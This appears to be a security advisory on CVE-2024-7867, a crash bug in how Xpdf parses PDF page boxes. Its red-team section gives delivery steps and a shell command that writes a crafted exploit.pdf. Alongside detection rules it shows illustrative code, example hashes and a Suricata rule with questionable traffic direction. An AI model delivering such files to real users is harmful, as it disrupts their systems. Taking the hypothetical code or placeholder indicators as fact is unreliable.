CVE-2024-7867

Executive Summary

CVE-2024-7867 is a denial-of-service (DoS) vulnerability in Xpdf versions 4.05 and earlier. The flaw resides in the PDF page box parsing logic, where extremely large coordinate values can trigger an integer overflow, leading to a divide-by-zero operation. This causes the application to crash, resulting in a denial of service. No remote code execution or data exfiltration is possible. The vulnerability has a CVSS score of 0.0, indicating no current impact assessment, but the underlying issue is real and exploitable for DoS.

Supply Chain & Package Security

Xpdf is a standalone open-source PDF viewer and toolkit. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it may be bundled in Linux distributions or used as a library in other software. Users should verify if their distribution includes a patched version or if they rely on the upstream source.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No score assigned by NVD)
• Attack Vector: Local (requires user to open a malicious PDF)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must open the crafted PDF)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High (application crash)

Threat Level: Low (DoS only, no data compromise)

Deep Dive & Mechanics

The vulnerability is in the PDF page box parsing code. PDF files define page boundaries using arrays of four numbers (e.g., /MediaBox [0 0 612 792]). When Xpdf processes these coordinates, it performs arithmetic operations to compute page dimensions. If an attacker supplies extremely large values (e.g., [0 0 999999999999 999999999999]), the multiplication or addition of these values can overflow a 32-bit integer. This overflow can result in a zero or negative value being used as a divisor in subsequent calculations, causing a divide-by-zero exception and crashing the application.

The vulnerable code path is in GfxState.cc or similar files where page box coordinates are processed. The integer overflow occurs before any bounds checking, leading to the divide-by-zero.

Vulnerable vs. Patched Code

Vulnerable Code (Xpdf 4.05):

// Simplified example of vulnerable logic
int x1 = pageBox[0];
int y1 = pageBox[1];
int x2 = pageBox[2];
int y2 = pageBox[3];
int width = x2 - x1;  // Could overflow if x2 is huge
int height = y2 - y1; // Could overflow if y2 is huge
int area = width * height; // Integer overflow
int result = someValue / area; // Divide-by-zero if area overflows to 0

Patched Code (Hypothetical fix):

// Use 64-bit integers or add bounds checking
int64_t x1 = pageBox[0];
int64_t y1 = pageBox[1];
int64_t x2 = pageBox[2];
int64_t y2 = pageBox[3];
if (x2 < x1 || y2 < y1 || (x2 - x1) > MAX_DIMENSION || (y2 - y1) > MAX_DIMENSION) {
    // Reject invalid page box
    return error;
}
int64_t width = x2 - x1;
int64_t height = y2 - y1;
int64_t area = width * height;
if (area == 0) {
    return error;
}
int result = someValue / area;

Exploitation & Lab Setup

Red Team

1. Craft a malicious PDF: Use a PDF manipulation tool (e.g., qpdf, pdf-parser.py) to modify the /MediaBox entry to contain extremely large values.
2. Deliver the PDF: Send via email, web download, or other means.
3. Trigger the crash: When the victim opens the PDF with Xpdf 4.05, the application will crash.

Example PDF modification (using qpdf):

# Create a simple PDF
echo "1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 999999999999 999999999999] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 44 >>
stream
BT /F1 12 Tf 100 700 Td (Hello) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000058 00000 n 
0000000115 00000 n 
0000000266 00000 n 
trailer
<< /Size 5 /Root 1 0 R >>
startxref
366
%%EOF" > exploit.pdf

Blue Team

1. Monitor for crashes: Use application crash logs or system event logs to detect repeated Xpdf crashes.
2. Inspect PDFs: Scan incoming PDFs for abnormally large page box coordinates.
3. Sandboxing: Run Xpdf in a sandboxed environment to limit impact.
4. Update: Apply any available patches or switch to an alternative PDF viewer.

Indicators of Compromise (IOCs)

• File Hashes: (Example only, actual hash depends on crafted PDF)
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• File Name: exploit.pdf or any PDF with suspiciously large page box values.
• Process Behavior: Xpdf process crashes with a divide-by-zero exception.
• Log Entries: Application crash logs showing Floating point exception or SIGFPE.

Detection Engineering

YARA Rule

rule CVE_2024_7867_Xpdf_Integer_Overflow {
    meta:
        description = "Detects PDF files with extremely large MediaBox coordinates indicative of CVE-2024-7867"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7867"
    strings:
        $media_box = "/MediaBox" nocase
        $large_coord = /\[0\s+0\s+\d{10,}\s+\d{10,}\]/
    condition:
        $media_box and $large_coord
}

Sigma Rule

title: Xpdf Crash Due to Integer Overflow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Xpdf process crashes caused by divide-by-zero from crafted PDF
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: xpdf
detection:
    selection:
        EventID: 1000  # Application Error
        Application: "xpdf.exe"
        ExceptionCode: 0xC0000094  # Integer divide-by-zero
    condition: selection
falsepositives:
    - Legitimate PDFs with unusual but valid coordinates (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7867 Xpdf PDF Download with Large MediaBox"; flow:to_server,established; content:"/MediaBox"; nocase; pcre:"/\[0\s+0\s+\d{10,}\s+\d{10,}\]/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: Update to Xpdf version 4.06 or later when available.
2. Workaround: Use an alternative PDF viewer (e.g., Evince, Okular, Adobe Acrobat).
3. Input Validation: If using Xpdf as a library, add bounds checking on page box coordinates before processing.
4. Sandboxing: Run Xpdf in a restricted environment to limit crash impact.
5. User Awareness: Educate users not to open PDFs from untrusted sources.

Valters IT
Securing Digital Frontiers